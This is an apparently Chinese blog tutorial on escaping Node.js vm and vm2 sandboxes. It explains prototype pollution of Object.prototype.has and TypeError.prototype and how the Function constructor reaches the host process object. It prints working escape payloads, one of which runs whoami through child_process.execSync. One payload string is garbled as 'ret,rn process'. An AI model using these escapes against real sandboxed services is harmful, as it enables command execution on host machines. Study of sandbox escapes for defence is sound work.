【vm沙箱逃逸】

一、什么是沙箱


二、使用方式



我们想在沙箱里运行代码会报错

主要是因为这个是主环境里的原型,沙箱里没有这个对象

通俗来说this是外部传入的,通过this来获取外部环境的原型来获取到process


三、vm2


目前的逃逸已经有很多方法了

我们就用其中一个例子来分析


in操作符的查找机制

当执行 "" in proxy;时,JavaScript 引擎会检查字符串 ""是否是 proxy对象的一个属性(或其原型链上的属性)。这个过程在代理对象中的逻辑如下:

首先,引擎会查看创建 proxy时传入的 handler对象是否定义了 has陷阱。代码中handler只定义了 get陷阱,没有定义 has陷阱。

由于没有 has陷阱进行拦截,引擎会转向默认行为,即对 proxy所代理的目标对象 target(这里是 {})执行默认的 \[HasProperty]内部操作。

默认的 \[HasProperty]与原型链

\[HasProperty]是一个内部操作,它的核心功能就是:判断一个对象(或其原型链上)是否拥有指定的属性。

当使用 in操作符(例如 "name" in obj)时,JavaScript 引擎在底层调用的就是这个 HasProperty内部方法,其中 P就是属性名 "name"。

对于普通对象 target(即 {}),in操作符(或内部的 \[HasProperty])会沿着该对象的原型链向上查找属性。

target本身是空对象,没有 has方法。

接着,查找 target的原型,即 Object.getPrototypeOf(target),它指向 Object.prototype。

在代码中,通过 Object.prototype.has = function() { ... }在 Object.prototype上直接添加了一个 has方法。

因此,当查找 has属性时,就在 Object.prototype上找到了它,于是执行了这个方法,打印出了 "has"。

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

"return process" 是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

复制代码
"use strict";

作用:启用 JavaScript 的严格模式,使代码在更严格的规则下运行。

在逃逸中的作用:确保代码行为可预测,避免某些静默错误干扰攻击流程。

复制代码
var process;

作用:在沙箱内部声明一个 process变量(此时为 undefined)。

策略:为后续存储外部真正的 process对象预留变量名。沙箱通常会阻止直接访问 Node.js 的全局 process对象,因此需要间接获取。

核心攻击代码:

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

代码中的 "ret,rn process"应该是 "return process"的笔误/混淆。实际效果是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

触发机制:

复制代码
"" in Buffer.from;

in操作符的工作流程:

执行 "" in Buffer.from时,检查 Buffer.from是否包含空字符串属性。

由于 Buffer.from是 Proxy,且 handler没有 has陷阱,引擎执行默认行为。

默认行为:对 Buffer.from的目标对象(外部真正的 Buffer.from函数)调用 [[HasProperty]]("")

原型链查找触发污染方法:

在查找属性过程中,引擎会沿着外部 Buffer.from的原型链查找。

外部 Buffer.from的原型链:Buffer.from→ Function.prototype→ Object.prototype。

由于 Object.prototype.has已被污染,在某些 JavaScript 引擎的实现中,属性检查可能会调用 has方法。

最关键的是:当 has方法被调用时,它的 this上下文或参数 t会是外部的 Buffer.from函数。


四、练习

复制代码
(function(){
    // 1. 污染 TypeError 的原型链
    TypeError.prototype.get_process = f => f.constructor("return process")();
    
    try {
        // 2. 故意触发一个 TypeError 异常
        Object.preventExtensions(Buffer.from("")) = a = 1;
    } catch(e) {
        // 3. 利用捕获的异常对象执行逃逸
        return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

原型链污染

复制代码
TypeError.prototype.get_process = f => f.constructor("return process")();

目标:污染 TypeError.prototype,为所有 TypeError实例添加 get_process方法。

方法原理:get_process方法接收一个函数 f,通过 f.constructor获取 Function构造函数,然后动态创建一个返回 process对象的函数并立即执行。

为什么有效:f.constructor总是返回 Function构造函数(除非 f的原型链被修改),而 Function构造函数在创建函数时默认使用当前执行上下文的全局对象。

故意触发异常

复制代码
Object.preventExtensions(Buffer.from("")) = a = 1;

Object.preventExtensions()使对象不可扩展(不能添加新属性)。

对 Buffer.from("")的结果调用此方法后,尝试给返回值赋值 a = 1。

关键错误:在严格模式下,给不可写的属性或不可扩展的对象赋值会抛出 TypeError异常。

利用异常对象逃逸

复制代码
catch(e) {
    return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}

捕获异常:e是 TypeError实例,因为前面污染了原型,所以它有 get_process方法。

获取 process:e.get_process(() => {})执行时:

(() => {})是一个箭头函数,它的 constructor指向 Function

f.constructor("return process")()在外部全局上下文中执行,返回外部真正的 process对象

执行命令:通过获取的 process对象执行 whoami命令。


相关推荐
5G微创业2 小时前
Python / Node.js 调用短视频去水印 API 完整示例(含 SDK)
python·node.js·音视频·api·sdk·短视频
寒水馨3 小时前
macOS下载、安装electron-v43.2.0(附安装包electron-v43.2.0-darwin-arm64.zip)
javascript·macos·electron·node.js·跨平台·桌面应用开发·开源框架
hoLzwEge17 小时前
拯救低效调试!code-inspector-plugin 让代码定位如虎添翼
前端·前端框架·node.js
无情的西瓜皮1 天前
给 AI 装个“工具箱”:MCP 协议入门与 Node.js 实战
人工智能·node.js
__zRainy__1 天前
Node.js readline 全景指南:createInterface 配置、逐行读取与交互模式
node.js·readline
To_OC1 天前
拼路径读文件总踩坑?我把 Node 的 path 和 fs 彻彻底底捋了一遍
javascript·后端·node.js
星栈2 天前
从装一堆工具到看懂 Node 工程化思维:我的项目复盘记录
后端·node.js
东方小月2 天前
从零开发一个Coding Agent:monorepo项目搭建
前端·后端·node.js
Lihua奏2 天前
# 用 Node.js 连接数据库:一次请求是怎么跑起来的?
node.js
kisshyshy2 天前
给端侧大模型装上“发动机”:React 合成事件 + 进度条组件全解
前端·react.js·node.js